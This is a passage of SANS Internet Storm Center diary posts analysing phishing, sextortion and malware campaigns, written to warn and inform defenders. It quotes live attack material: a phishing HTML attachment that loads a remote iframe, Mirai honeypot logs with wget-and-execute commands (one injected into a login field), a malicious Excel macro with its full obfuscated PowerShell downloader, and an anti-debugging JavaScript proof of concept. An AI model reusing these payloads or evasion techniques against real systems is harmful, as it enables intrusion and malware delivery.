- At different times, I got slightly different behaviors. Sometimes I do not see the intermediate "threat" page, but instead, I am directed to the donation form directly, or to the home page of the Atlanta Police Foundation. So maybe the attack you receive is a bit up to the luck of the draw and some browser fingerprinting. The initial redirect uses lengthy obfuscated JavaScript.

- Or maybe someone is just trying to cause a "Layer 8" (human) denial of service against the Atlanta Police Foundation. With many recipients receiving an obviously fraudulent message leading to a donation form, they may report it as fake (that was my initial gut feeling) and cause the donation form to be shut down. This is currently my "most likely" explanation.

What's your guess as to what is the goal of the attack?

Some of the URLs used in the attack:
Link in the email: hxxp[:]//crime-research-center[.]signin-openid4376914[.]xyz
First Redirect: hxxps[:]//crime-research-center[.]sign[.]me/id/case/3890193
Threat Page: hxxps[:]//crime-research-center[.]sign[.]me/dt/t 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

2 Comments

Published: 2020-06-16

Sextortion to The Next Level

For a long time, our mailboxes are flooded with emails from “hackers” (note the quotes) who pretend to have infected our computers with malware. The scenario is always the same: They successfully collected sensitive pieces of evidence about us (usually, men visiting adult websites) and request some money to be paid in Bitcoins or they will disclose everything. We already reported this kind of malicious activity for the first time in 2018[1]. Attacks evolved with time and they improved their communication by adding sensitive information like a real password (grabbed from major data leaks) or mobile phones.

Now, they are going one step further and use more nasty ways to collect information about their victims. They use social engineering techniques in a bad way. We are been notified by one of our readers of a Ukrainian forum containing information about people looking for "good times". How do they work?

The bad guys create fake accounts on dating websites pretending to be young women looking for new contacts and probably more. It's clear that it does not take a while before being contacted by people looking for extramarital relations. They initiate contact and grab interesting information about the victim.  In such a scenario, collected pieces of evidence are totally legit: name, mobile phone, location, sexual preferences, etc. Details are published on the forum, as well as conversations and pictures. To be "unlisted", they have to register on the forum and pay some money to "help the project". 

Here is a screenshot of the forum's main page. As you can see it is quite active:

Notes:

  • The forum has been visited through Google Translate
  • The way it works is based in translated pages, some details might be wrong
  • I tried to remove all offensive words from the screenshots, apologize if some remain

Once they caught a potential victim, they start cheating and collect as much information as possible. Everything is posted on the forum.

They provide information about the process to be unlisted (once the victim paid):

The forum seems to be online for a while but is still filled with new data. The problem is that, even if the victim pays, the forum is indexed by Google and other search engines (like the very popular yandex.ru). This makes the process to be unlisted very difficult, if not impossible!

People are free to act as they want on the Internet, our goal is not to blame anybody but, at least, we must warn you. Be very careful when you browse dating websites looking for new contacts. This reminds me of the story of the Ashley Madison breach[2] when high-profile people were found in the leaked database and they registered with their corporate email addresses...

[1] https://isc.sans.edu/forums/diary/Sextortion+Follow+the+Money/23922
[2] https://en.wikipedia.org/wiki/Ashley_Madison_data_breach

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2020-06-15

HTML based Phishing Run

An intresting phishing run started over the weekend.  At first glance it looks pretty typical...a clumsy email with an attachment with some vital and useful information.  Although I have already seen several different message bodies, this is one sample:

From:Jane Edwards <f.zaffi@ferexpert.it>
Sent:Friday, June 12, 2020 10:16 AM
To:jsoulesneu@creationtech.com
Subject:PROCEDURES

Please find attached a copy of current procedures in place for:

Bank
Concur PO & Expenses processing
Raising Sales Invoices
Raising Purchase Invoices
Recording Consolidated AR & AP at Month End.

I am also working on a Customer spreadsheet (expanding on records held previously ) recording :
Revenue Type
Invoice Frequency
Unit Price
Is a PO required ? if so what type.
I thought that this would be useful if coding and dimensions were included.

Jane Edwards | LedgerController

The attachment in this case was an html file called PROCEDURES.html containing the following:

<div style="display:none;">
aJvpegSAIsclHZNi1NyrFqPLeMlOyw88A56gWJWLi61ta4nysJL5YyCS4SkB5ecmueTM3HurZViJzvLkyWvXTcjcBmmeyvQe4O96jKEUotfdq3tHhaciSnBr5QkPuq3DeeOTvPaXrJIz7gVI3N7xtIuPnRbBzXz8AK8lnJlBaoZiObuY5LWQtEkES9GNNHxCkJ9vhJutBExfSlbmwmGXbSO5ACBocHWCZx8eb8QvqDoXheVG7uqBbIBA5d5Ohgq4R5oun7kyEkHGDZXvP4qRquBq5Gi7dcnjnufmYAtaj27Zb47epI8nYIMxC7zPXmvC7xtiUKFoKqHyxKpaIeRDd9uORRS2bMl7GD2NKYtNdSMIan91RygTE1y7dOAc2Nm7eK23SLzTTdztwUNDS1jMGBBOe4K6xqVyGPEyvfig9v9AAfJra6taEJALimYXaCvCrbWQqoiMScNkBbn9ts6B7U47o2qiqufF9Fizr3bUWPr
<a>
    
PACqCf9SoOoQ97h8rQAEYrnA7B42xxXGW8HMB6ibNI8UNKjnwpn5ZDtynbtbkgvZ1Q3ayDGvHz1psBWvrQFhj2QtOjyzLhZHmh36QiY2S2wzMdfVo7SDJoP
</a>
</div>
<div id="placeholder"></div>

<script id="iframeTemplate" type="text/html">
    <iframe style="width: 100%; height: 100%; border: 0px" src="http://www.wessexgrange.plus.com/7cdmba.html">

    </iframe>
</script>

<script type="text/javascript">
var element,
    html,
    template;

element = document.getElementById("placeholder");
template = document.getElementById("iframeTemplate");
html = template.innerHTML;

element.innerHTML = html;
</script>
<div style="display:none;">
{{RND_TEXT}}
</div>

With assistance from reader Carsten I was also able to get a number of the other URLs used in these messages.

hxxp://bosmafamily.nl/~jet/bzkh.html 
hxxp://flbox.net/87nbtp.html
hxxp://werinussa.net/~eege/1kf2zw.html
hxxp://www.chartercare.plus.com/zlw7.html
hxxp://www.wessexgrange.plus.com/7cdmba.html - Down

There are some detections on the attachments, but Virustotal has almost no detections for the websites. Interestingly Sophos antivirus is listed as "Unrated" on VirusTotal, but my Sophos test machine is catching the attachments as Troj/HTMLDwn-UA.

Running a few of these domains through urlscan.io, it appears very similar and most likely related web pages have been around for at least a week.

So far this is looking like a very clumsy campaign.  But if past history tells us anything these clumsy campaigns will sometimes get better and cause some chaos.  So it is worth keeping an eye on.

If anybody has any more details, they would be greatly appreciated. I would be especially interested in getting my hands on a couple more samples of the attachments. If you have access to some, I would appreciated it if you could zip up a few (password 'infected') and send them to me via the contact form.

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

2 Comments

Published: 2020-06-14

YARA's BASE64 Strings

Since YARA version 4.0.0, Victor added support for detecting BASE64 encoded strings.

This means that from version 4.0.0 you can write a rule to search for strings that are BASE64 encoded.

For example, looking for string "Internet Storm Center" in BASE64 encoding, means searching for SW50ZXJuZXQgU3Rvcm0gQ2VudGVy (or other, depending on the position).

A rule for this string would look like this:

rule base64_ascii_ascii {
    strings:
        $a = "Internet Storm Center" base64
    condition:
        $a
}

 

This rule looks for ASCII strings that are valid BASE64 strings, and that decode to ASCII string "Internet Storm Center".

When you use keyword base64, you search for ASCII BASE64 strings. You can also search for UNICODE BASE64 strings, using keyword base64wide.

But in both cases, the decoded string is an ASCII string. If the decoded string has to be a UNICODE string, you need to use keyword wide.

Here are 4 YARA rules, illustrating the 4 different combinations (ASCII ASCII, UNICODE ASCII,, ASCII UNICODE, and UNICODE UNICODE):

rule base64_ascii_ascii {
    strings:
        $a = "Internet Storm Center" ascii base64
    condition:
        $a
}

rule base64_unicode_ascii {
    strings:
        $a = "Internet Storm Center" wide base64
    condition:
        $a
}

rule base64_ascii_unicode {
    strings:
        $a = "Internet Storm Center" ascii base64wide
    condition:
        $a
}

rule base64_unicode_unicode {
    strings:
        $a = "Internet Storm Center" wide base64wide
    condition:
        $a
}

If you don't know what combination you are looking for, you can also use the following rule that will match all combinations:

rule base64_all {
    strings:
        $a = "Internet Storm Center" ascii wide base64 base64wide
    condition:
        $a
}

 

Example:

Didier Stevens

Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

0 Comments

Published: 2020-06-13

Mirai Botnet Activity

This past week, I noticed new activity from the Mirai botnet in my honeypot. The sample log with the IP and file associated with the first log appears to have been taken down (96.30.193.26) which appeared multiple times this week including today. However, the last two logs from today are still active which is using a Bash script to download multiple exploits targeting various device types (MIPS, ARM4-7, MPSL, x86, PPC, M68k). Something else of interest is the User-Agent: XTC and the name viktor which appear to be linked to XTC IRC Botnet, aka Hoaxcalls.

  • 20200613-025717: 192.168.25.9:80-115.85.32.210:55065 data 'POST /cgi-bin/mainfunction.cgi HTTP/1.1\r\nUser-Agent: XTC\r\nHost: 127.0.0.1\r\nContent-Length: 189\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\n\r\naction=login&keyPath='wget${IFS}http://96.30.193.26/arm7${IFS}-O${IFS}/tmp/viktor;${IFS}chmod${IFS}777${IFS}/tmp/viktor;${IFS}/tmp/viktor'&loginUser=a&loginPwd=a\r\n\r\n'
  • 20200613-101614: 192.168.25.9:8088-36.82.97.160:41885 data 'cd /tmp; wget http://185.172.111.214/8UsA.sh; chmod 777 8UsA.sh; sh 8UsA.sh; rm -rf *\r\n\r\n'
  • 20200613-101617: 192.168.25.9:8088-36.82.97.160:33090 data 'cd /tmp; wget http://185.172.111.214/8UsA.sh; chmod 777 8UsA.sh; sh 8UsA.sh; rm -rf *\r\n\r\n'

Indicators of Compromise

  • http://96.30.193[.]26/arm7
  • http://185.172.111[.]214/8UsA[.]sh
  • User-Agent: XTC

Suspisious Files and Scripts:

  • UnHAnaAW.sh4 - 5d646c4f5d1793a6070bb03b069f263529b4bc470ab4d5960ae55a211eb9b2f1
  • 8UsA.sh - 590d00e051703e55be2ad10fa94eadc499262bf8a62190a648a7a2756fd31862

[1] https://www.virustotal.com/gui/file/5d646c4f5d1793a6070bb03b069f263529b4bc470ab4d5960ae55a211eb9b2f1/detection
[2] https://security.radware.com/ddos-threats-attacks/threat-advisories-attack-reports/hoaxcalls-evolution/
[3] https://blog.radware.com/security/botnets/2020/05/whos-viktor-tracking-down-the-xtc-polaris-botnets/
[4] https://isc.sans.edu/ipinfo.html?ip=115.85.32.210
[5] https://isc.sans.edu/ipinfo.html?ip=185.172.111.214
[6] https://isc.sans.edu/ipinfo.html?ip=96.30.193.26
[7] https://isc.sans.edu/ipinfo.html?ip=36.82.97.160

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

0 Comments

Published: 2020-06-12

Malicious Excel Delivering Fileless Payload

Macros in Office documents are so common today that my honeypots and hunting scripts catch a lot of them daily. I try to keep an eye on them because sometimes you can spot an interesting one (read: “using a less common technique”).  Yesterday, I found such a sample that deserve a quick diary!

The Excel sheet is called ‘bill-and-payment-76399.xlsm’ (SHA256: c1442825db496e97bd7f58d26ee270c461cb309617c610365730ea2416b4d3d3). It has been submitted several times on VT from different countries, so it must be part of an ongoing campaign. Its current score is 33/61[1]. Classic behavior, it asks the victim to review a fake invoice:

Let’s have a look at the macro:

Sub newS()
  Dim c(5000)
  For Each ce In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants)
    c(ce.value) = Chr(ce.Row)
  Next
  For Each k In c
    fert = fert + k
  Next
  On Error Resume Next
  WScript.Quit CreateObject("WScript.Shell").Run(fert).Open(0).readAll(1)
End Sub

Sub REVIEW5()
  Application.Wait (Now + TimeValue("0:00:05")): ActiveWorkbook.Close False
End Sub

Private Sub Documentreview_Click()
  n = 90: REVIEW5
End Sub

Private Sub X_Layout()
  newS
End Sub

First, you see that there is no workbook_open() macro present. Nothing is executed automatically, which is always a nice anti-sandbox trick. In a fully automatic sandbox (without user interaction), nothing will happen.

There is a macro assigned to the “Document review” button and the picture: DocumentReview_click(). It calls REVIEWS() that will simply close the sheet after 5 seconds.

There is another object in the document:

</v:shapetype><v:shape id="X" o:spid="_x0000_s1025" type="#_x0000_t201"
  style='position:absolute;margin-left:999pt;margin-top:966pt;width:3.75pt;
  height:3.75pt;z-index:1;mso-wrap-style:tight' stroked="f" strokecolor="windowText [64]"
  o:insetmode="auto">

I did not find the exact purpose of a '*_Layout' macro but it is called every time the user scrolls into the document. The macro calls another one: newS() which decrypts and executes the malicious payload. Where is it stored?

Here we have two other nice tricks: The malicious code is hidden in the sheet but instead of using a defined range, a specific enumeration method is used: xlCellTypeConstants[2]. It easy to see the spread of constant into the sheet. Select all (CTRL-A) and change the font color. See the results:

From the attacker perspective, It’s a nice way to generate new documents on the fly (so, with a different hash) just by changing randomly the cells!

Finally, the extracted payload is executed directly from the variable:

WScript.Quit CreateObject("WScript.Shell").Run(fert).Open(0).readAll(1)

To easily capture the executed payload, I used Sysmon and event type 1 to get all executed processes. The payload is:

C:\Windows\SysWOW64\wbem\WMIC.exe "prOcesS" 'CALL'   cREATE  "poWerShELL  -eXeCutiOnP  bYpaSs -nOprOFILe -NONiNteracT  -Win 00000000000000001   Set  I3 ([StRINg][ChAr]34) ;$7OEF =([CHAR]44).TOSTrIng()  ; .( $PSHome[21]+$PSHOme[34]+'x') ("\"&amp;(${I3}{1}{0}${I3} -f 'al'${7OEF}'s') (${I3}{1}{0}${I3} -f'f'${7OEF}'re') (${I3}{1}{2}{0}${I3} -f (${I3}{2}{1}{0}${I3} -f't'${7OEF}(${I3}{0}{1}${I3} -f 'Obje'${7OEF}'c')${7OEF}'-')${7OEF}'N'${7OEF}'ew');&amp; ( `${S`h`ellID}[1]+`${ShELL`Id}[13]+'x') (&amp;(${I3}{0}{1}${I3}-f're'${7OEF}'f') sYSTeM.iO.COMPRESsiON.deFLaTEStrEAm([Io.memorYsTreAM] [systeM.CoNvERt]::fromBASE64sTrInG( (${I3}{7}{29}{12}{26}{33}{51}{44}{8}{1}{30}{20}{2}{56}{18}{52}{3}{24}{45}{46}{19}{39}{4}{32}{50}{28}{27}{17}{31}{5}{37}{34}{21}{49}{48}{23}{13}{15}{41}{38}{6}{9}{36}{47}{11}{22}{35}{57}{55}{42}{40}{53}{14}{25}{16}{43}{10}{54}{0}${I3} -f 'wYe2fsBQHneg/52oU0tQ1/wE='${7OEF}'kTv'${7OEF}'bYdIo1xebYCa9MGAr'${7OEF}'d5jtzfnIX/ky2bQ8W0N+mbNpDEZbALprQTcliIK10MRbT0osj67wdwXA7GY4uQP/pQ0rDxUdLHIClnYt5uJQYVELN+4UE'${7OEF}'1r1gpl3qmk8qYDwlV+g'${7OEF}'Mm35Y2pha1Kd5tcEhQWaWQHBxom'${7OEF}'fX'${7OEF}'ZVdtd5rKFv4rU5a3QI1UbZrm6nLd6wtJ7UmsVarNta47RMfIOQgWRhPj4b+fZ'${7OEF}'yvMpeV6om+aL/mpmgiFuR8VNFXRsZUaj8Jstraj5ovYRX/3Y12Bh4uSBoFH44kH8oAxDLvW/sL9OGpV6Yb9NGlD19hXglE/kDyLD9Rqf'${7OEF}'N5bK4cRMVDrKxibKkBDTt/8rXa3NircutqSQPxYnMDY+OOlkXaj1lp28QYDwMMLW3DnatL7WXxAhQQ'${7OEF}'FFjuYYR55juzc+97s9bseUwHF'${7OEF}'Une0tsObZ5YD7q'${7OEF}'dFwoVK+6jegqZ/TdJ7sPyX7j/AHvytlpfffysBFsr88hOQggFiQaztcejNcrEevN8c33Uv6'${7OEF}'otau0qFXbUInBDEkoKFfpxYw3jCGSe2IHmCDUcrzawFIz4VkBwSGCvtgvo6ruivkzQ5a1pi0l240mU5PJ4fy6sCR5JhQBpRnsOpvxNcAtGdYp/yDhqSUqRQjKO/'${7OEF}'CqPD/2u+dtQ'${7OEF}'oFclQZ3nB6Cv/Q2'${7OEF}'N9Solas3Hy+dPUu182Xw/djJyKdWqO1ZFlKLp+61dvpKPyZnxksfRNjnp7Gq5jN7G1kST2DhB18xTmzy'${7OEF}'6oQXyxLbUUjYDxiIj'${7OEF}'5mY+0J6Y50COvXsPpYKLPEmq+Zrc6wUibXvzoShw3+Y8xMz/+fw8Gc9EnITBcjH/5ME7tz+Bb9WMXm2'${7OEF}'kind2LzhewL3RrTGHcDnUTVnZk5SR/1nc8/VBVT+/Sh0cEwzi5v4C3xWNHpFrpwTKk6Hqu9LbiVkhyUCWlmhwpPi2Rorp+SDJDcnXsBfM8Qp+eqGYyUbU4oybAJejRlbrk7OLc+viu+vGC'${7OEF}'xa7ZgGlaiwFYY46gs30E2rG2zDv4RR2D8kJiz1eA8my+8qZfy4u0kauo6'${7OEF}'iqJtVBuVPLAaUgj1XBO5TiOw62TOpvwZ0ejT'${7OEF}'E3BotzSwdBfn1QHFT6nnLjcXF'${7OEF}'a8qqbelU+WbRGiorgGe0X'${7OEF}'mWSeNtDpoM3Y7ji/Q4x/kqDsc4ahjEGSx/WO94mepRMyK2EbWn4fnym2lt3ZvvQhW7krFKih'${7OEF}'TiP8r+5npldrUVEvpdnuElKUNbI5WaVOnp2ibEP6mRe2NZp6RG30curYdHnNnwLu9By1diemtwmCvuM+jdxs13bd'${7OEF}'N3wcdueih7vNoEt/es4dvrx10yfHPJJZ68qTNAmpA2nadIeiH9qyRKK35PPWjbpu68'${7OEF}'Zh/Fxo5I9BlSwl+lDkgIInv31Ol4xrFWRhpRb1CqNkCM9YMJ1ViJlnqHpLpsbmZbvzsAJgmxClJ+n9IboiQ697CeGO8PQ7kA'${7OEF}'lQ'${7OEF}'w9oMP0gosx+f/azN8wytH012ZeTfSXZf0i00oLpbqSf6d0mLrFwSlt83/u2bjL55ZwZjE3kbm1PIVcmCZKrJhojwXgX43AbnzDY2gOJGylWFkSZyeqMZcaUJUgrYwOvSdrPdGUoth1cXUg8xeeffzHYm8i7tSBzlSSzCBXnqXA37FnNeGivIBSJK1/MyOYNeYzP3'${7OEF}'oAoHQ4ADepZF7w8'${7OEF}'WZA2roNnGDSKxTjCKz'${7OEF}'pZSHHwmmuZ7s+Jbd'${7OEF}'aurTYDlXFnl6bgUKZU9IpB9onsW'${7OEF}'hIuo8hY6dfGE9IEGe5tPqcyi98IETbu4wMXegGxoYxeDJXPLrMsQ0cnKWplrX'${7OEF}'+ZDKfkW+KxBEVKNc+p6x5eQ2MTKf1BdhJN'${7OEF}'x/9+0OIFssSCkp8K'${7OEF}'81WklWKm1WSxENPSeBatcwFYITmAVV'${7OEF}'YC+QUjAJ8vQPv9ihIn39zEwbdX3/TfST2rWqTVV5x/KJ4zW/IN5//aqJ/Y0UUbwi8+RlEaIzdHGApkRtJ'${7OEF}'KjqbAXz5ioZEAew9XNQITG2OAzjG24n1Kpa'${7OEF}'NqTFo'${7OEF}'iGAniuslhTDzK0n6bmEC5kRrzpUxeapS+hF2QDsbB3eNdTWOttec2x+WpNk3HFu4iqsO+cThg1fmeeKrQkwb/p6WHdPeYKQ03xFnVNiUJ/EMqFnstvbe2leTULw6VAvDYmFyT3PFT/J7Xwiu4smscjkHojS/RveTq2ALXEfZyHsuKKaxVjHxP'${7OEF}'7CYNd/DTJAdx/Ae81yGad0Y8bFNWXLBWxtDb/uuk5Gj37E8+KRXLsIWHFBpvMYH'${7OEF}'xyJhWZ5/bvQf5Wcuy3QcuxZMnaQDld6HYF2qSEGl/qlsnzzYEugX1UylWausnwUOWYheZLF6J3D'${7OEF}'nz85eJp6mUtvmj7r'${7OEF}'OQQlqQA5uELvW74sWxJ5d9QrTr99yVeCkQnuhFZJ/fJkV9Hj7qxdNWS'${7OEF}'EmkBW4zzd/a4Joeru'${7OEF}'K'${7OEF}'fOYvRPuVGYyk+IkKzC18xWVfeYtcvqOrxICRx2AHW6hsMK0npDWWNy3fU8Ulve'${7OEF}'EV5od85T33XnF/7T0x1CjlA'${7OEF}'pL0uAoXgMBeC4xGmbE2rRGTX9j58LPvFOlaW+iSARSMcfROKqpbWIuBpq'${7OEF}'cr4AyU/nHd7x7hZ4fnXp2oD8n07C1wVO7VLIYQBrqgViWQVUkaQXn2I6nuqhsorQ9+6epEK1vLtGu7cx0tc'${7OEF}'W+E2oLtvdtIwjhU/wPFayFKfGCCcCWrnGKkpdedQ1efdTmJa2q3r8'${7OEF}'7KQCzriTXv9zQpLp/'${7OEF}'ylr0m5bYA8vl6dngXGyB/eAnD2yi9i62H9C7G0t35VR5TRpwJ1cz'${7OEF}'m5Typ+QlFtj/GmnK+5JyvgUsXr85UbbpzQOt2CRIOCHxfOTmxlI9tUADEXu'${7OEF}'XsV5b'${7OEF}'zZkrZA7iTMoyfr') )${7OEF} [io.cOMPressiON.coMPreSSioNMOde]::deCompResS)| &amp;('%%') {&amp;(${I3}{0}{1}${I3} -f 'r'${7OEF}'ef') sYSteM.io.sTreAMreADEr(`${_}${7OEF}[sySteM.tExT.encoDing]::asciI ) } ).ReadTOENd()"\") "

The big Base64 chunk can be easily reversed using the PowerShell ISE. Here is the result:

.("{2}{0}{1}{3}"-f 'ar','IA','seT-v','blE') tJ4 (  [typE]("{0}{3}{1}{2}" -f 'sys','C','onvERt','tem.')  ) ;  .("{2}{1}{3}{0}"-f 'RiAblE','-v','sET','a') xs4Hq  ( [tYpe]("{1}{0}{3}{2}{4}"-f 'IoN.AsSEm','reFlect','L','b','Y')  ) ;  $10FP=[tYPe]("{1}{0}{4}{7}{5}{11}{10}{2}{9}{3}{6}{8}" -f 'sTem.se','sy','Nc','.wiNd','c','ty','owSIdeN','uRI','tiTY','ipAl','ri','.p') ;    .("{1}{0}{2}" -f'TE','SEt-I','M')  varIaBLE:muR (  [Type]("{0}{1}{3}{2}" -F 'TEx','t.eN','g','CodIN')  ) ;   $zq72=[TyPE]("{1}{2}{0}" -f'T','con','vER')  ;  .("{0}{1}"-f'SeT-i','teM')  ('va'+'RiABlE:'+'aw8'+'z7T') (  [TyPe]("{1}{0}" -f '.File','io'));  .("{0}{2}{1}"-f 'SET-I','m','TE')  ("varIAB"+"le:5"+"Psl") ([TYpe]("{1}{0}"-F 'egeX','r') )  ;  ${G}=1;${v}=  (&("{2}{1}{3}{0}" -f 'e','eT-','G','VaRIAbl') TJ4 -VaL )::("{0}{1}" -f'ToBoo','lean').Invoke(${g});${N`N}=10*10;${YL}='';${S}=0;function m`2(${ih}){$(${ih}.("{1}{0}{3}{2}" -f 'bstri','su','g','n').Invoke(${g}) -replace('-',${Yl})) -replace('S',${Yl});return ${_}};${Mk}='ms';${ym}='n';${QE}=(.("{0}{1}{2}" -f'Get-Pr','oces','s') -Id ${P`ID})."Mai`NwINd`o`w`hAnDlE";${cA}=[Runtime.InteropServices.HandleRef];${X`x}=.("{1}{0}" -f'ef','r') ${CA}(${G},${Q`e});${t}=&("{0}{1}"-f 're','f') ${C`A}(2,${s});((  (  &("{0}{1}"-f'Di','r') VAriAble:xS4hQ).vaLUe::("{1}{2}{4}{3}{0}{5}" -f 't','L','oad','ar','WithP','ialName').Invoke('Wi'+${Y`M}+'dow'+("{1}{0}" -f 'se','sBa'))).("{0}{2}{1}"-f 'Ge','pe','tTy').Invoke(("{1}{0}"-f'.Wi','MS')+${y`M}+("{1}{0}" -f'.U','32')+${YM}+("{0}{1}" -f 's','afe')+("{2}{1}{0}"-f's','hod','NativeMet')))::("{2}{0}{3}{1}" -f'e','owPos','S','tWind').Invoke(${xx},${t},${s},${S},${nN},${N`N},64.5*256);${cc}=("{0}{1}"-f 'om',' /')+"";${C`c}=${c`C}.("{0}{1}" -f 'spli','t').Invoke(' ');${s`S}=.('m2')((  ( .("{1}{0}{2}" -f 'ldI','Chi','TeM') VaRiaBlE:10Fp).VAluE::("{2}{0}{1}"-f 'e','tCurrent','G').Invoke())."us`eR"."VAl`Ue");${e}='ht'+'t'+("{1}{0}"-f'//','ps:')+"$V"+'1'+${v}+'.c'+(${cc}[${S},${g}] -replace '(\D{5})','/')+'?'+${S`S};if(!(&("{0}{3}{2}{1}"-f'Test-C','n','ectio','onn') -Cn ${e}.("{1}{0}" -f 'plit','s').Invoke('/')[2].("{2}{0}{1}" -f'E','nd','Trim').Invoke(' ') -BufferSize 16 -Count 1 -ea ${S} -quiet)){${E`d}=${e}.("{1}{0}{3}{2}"-f'bs','su','ing','tr').Invoke(0,8);${e}=${ED}+"0"+${e}.("{1}{0}{2}"-f'plac','re','e').Invoke(${e`D},${Y`l})};&('Si') ("{2}{3}{0}{1}"-f 'iab','le:/f','V','ar') ${e}.("{0}{1}{2}" -f're','plac','e').Invoke(' ',${yl});${H`B}=${Y`m}+'t';.('Sv') 1 "Net.WebClie$hb";&('SI') ("{0}{1}{2}" -f 'Var','iabl','e:C2') (.("{0}{1}" -f 'r','ef') (&('Gv') 1 -Va));&('SV') ('c') ("{1}{2}{0}" -f 'ta','Dow','nloadDa');${o`AD}=(([Char[]](.("{0}{1}{2}"-f 'V','ar','iable') ('C2') -ValueOn).((.("{2}{1}{0}"-f 'le','ab','Vari') ('c') -Val))."inVO`Ke"((&("{1}{0}{2}"-f 'a','Vari','ble') ('f'))."V`AlUe"))-Join${Yl});${T`Ii}=${eNv`:TE`mp};${m`I}=(${D}=&("{0}{1}"-f'g','ci') ${t`Ii}|&("{3}{1}{2}{0}" -f 'andom','t','-r','ge'))."Na`ME" -replace ".{4}$";${W}=${t`ii}+'\'+${mi}+'.';${V`M}=${o`AD}.("{2}{1}{0}"-f 'ing','tr','subs').Invoke(${S},${G});${P}=[int]${v`m}*${NN};${l`Qa} =${O`AD}.("{2}{1}{0}" -f'e','ov','rem').Invoke(${s},${G});${p`L}=${l`qA} -split'!';.("{1}{0}" -f'l','sa') ("{0}{1}"-f'utf','8') ("{2}{0}{1}" -f 'egsv','r32','r');${j`p}=  ( &("{1}{0}{2}"-f'IAbl','GeT-VaR','E') muR  -vALUeon)::"u`TF8";function V`A(${ZX}){${S`A}= ( .("{1}{0}"-f'TeM','I')  VArIable:zq72 ).VAlue::("{1}{2}{0}{3}" -f 'Base64St','F','rom','ring').Invoke(${z`x});return ${S`A}};foreach(${i`T} in ${pL}[${S}]){${G}=@();${p`Pt}=${v`M}.("{2}{1}{3}{0}" -f'y','harAr','ToC','ra').Invoke();${i`T}=.('va')(${I`T});for(${J`l}=${S}; ${J`L} -lt ${i`T}."C`OuNT"; ${j`L}++){${g} += [char]([Byte]${It}[${JL}] -bxor[Byte]${p`pT}[${J`L}%${p`pT}."C`OuNt"])}};${vv}=${l`qA}."RE`plaCe"((${p`L}[${s}]+"!"),${j`P}."GET`s`TR`INg"(${g}));  ( .("{0}{1}" -f 'iT','eM') vArIaBLe:Aw8z7t).vaLuE::("{1}{2}{0}"-f'tes','W','riteAllBy').Invoke(${w},(.('va')(${Vv} -replace ".{200}$")));if((.("{1}{0}"-f'ci','g') ${W})."l`ENgtH" -lt ${P}){exit};&("{0}{1}"-f 'slee','p') 17;.("{0}{1}"-f 'ut','f8') -s ${W};.("{0}{1}" -f'sl','eep') 17;  $aW8z7t::"WriTEaLl`lIN`Es"(${W},  (&("{1}{0}" -f 'i','Gc')  ("vaRIaB"+"LE:5"+"pSl")  ).vaLUE::("{1}{2}{0}" -f 'ace','r','epl').Invoke(${S`s},'\d',${y`l}))

Nicely obfuscated. It's a downloader, the URL to fetch the next stage is located here:

${e}='ht'+'t'+("{1}{0}"-f'//','ps:')+"$V"+'1'+${v}+'.c'+(${cc}[${S},${g}] -replace '(\D{5})','/')+'?'+${S`S};

At execution time, it contains:

https://True1True.com/?15211866265027187085091015791359731000

The domain does not resolve to an IP at the moment but I found two IP addresses in passive DNS: %%ip:84.38.183.36%%, %%ip:80.249.146.7%%.

[1] https://www.virustotal.com/gui/file/c1442825db496e97bd7f58d26ee270c461cb309617c610365730ea2416b4d3d3/detection
[2] https://docs.microsoft.com/en-us/office/vba/api/excel.xlcelltype

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2020-06-11

Anti-Debugging JavaScript Techniques

For developers who write malicious programs, it’s important to make their code not easy to be read and executed in a sandbox. Like most languages, there are many ways to make the life of malware analysts mode difficult (or more exciting, depending on the side of the table you’re sitting ;-).

Besides being an extremely permissive language with its syntax and making it easy to obfuscate, JavaScript can also implement anti-debugging techniques. A well-known technique is based on the method arguments.callee()[1]. This method allows a function to refer to its own body:

var foobar = arguments.callee.toString();

Then, the function can perform checks on the content of the variable 'foobar' (to check the size, to compute a hash or to search for the presence of specific strings) to detect if the content of the function has been modified by an Analyst (ex: to debug the code in the browser).

Speaking about browsers, their “developer tools” are very convenient to debug JavaScript. I got access to a malicious file shared with another malware analyst (thank you Mark!). It implements a nice technique to prevent malicious code to be executed if the browser console is open! Here is the small proof-of-concept based on the initial code (beautified):

<html>
<head>
<script language="Javascript">
function GFkPC() {
   var ll = false;
   var WXMpu = new Image();
   Object.defineProperty(WXMpu, 'id', {
      get: function () {
         ll = true;
         console.log("Writing to the console…”);
      }
   });

   requestAnimationFrame(function X() {
      ll = false;
      console.log("%c", imageObject);
      if (!ll) {
         alert("I'm malicious!");
         // Malicious code
      }
   });
};
setTimeout(GFkPC(), 500);
</script>
</head>
<body>
Hello, am I malicious?
</body>

The function GFkPC() defines a variable ‘ll’ which will contain the console status (default false - console closed). An object is created (WXMpu) and a ‘getter’[2] on the property is added. The get syntax binds an object property to a function that will be called when that property is looked up. I don’t know why but ‘get’ works only when the console is open. Below, we use the object, this will result in the getter function to be executed and modify the value of ‘ll’ is the console is open.

Let’s load this PoC into Chrome with the Developer Tools open:

You see that the getter is called and the console.log() used.

Now, let's close the console and reload the PoC in the same browser:

This technique worked in Chrome and Safari and the new Edge. It did not work with Firefox. While Googling for some similar examples, I found discussions about the Developer Tools detection back to 8 years ago. Still relevant today!

[1] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments/callee
[2] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/get

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2020-06-10

Job application-themed malspam pushes ZLoader

Introduction

Last week, I published a diary about ZLoader malware spread through Polish malspam.  Today's diary reviews more ZLoader spread through a different malspam campaign.  Two interesting points about this campaign:

  • The campaign uses password-protected XLS files, so they are not usually detected as malware on their own without the password.
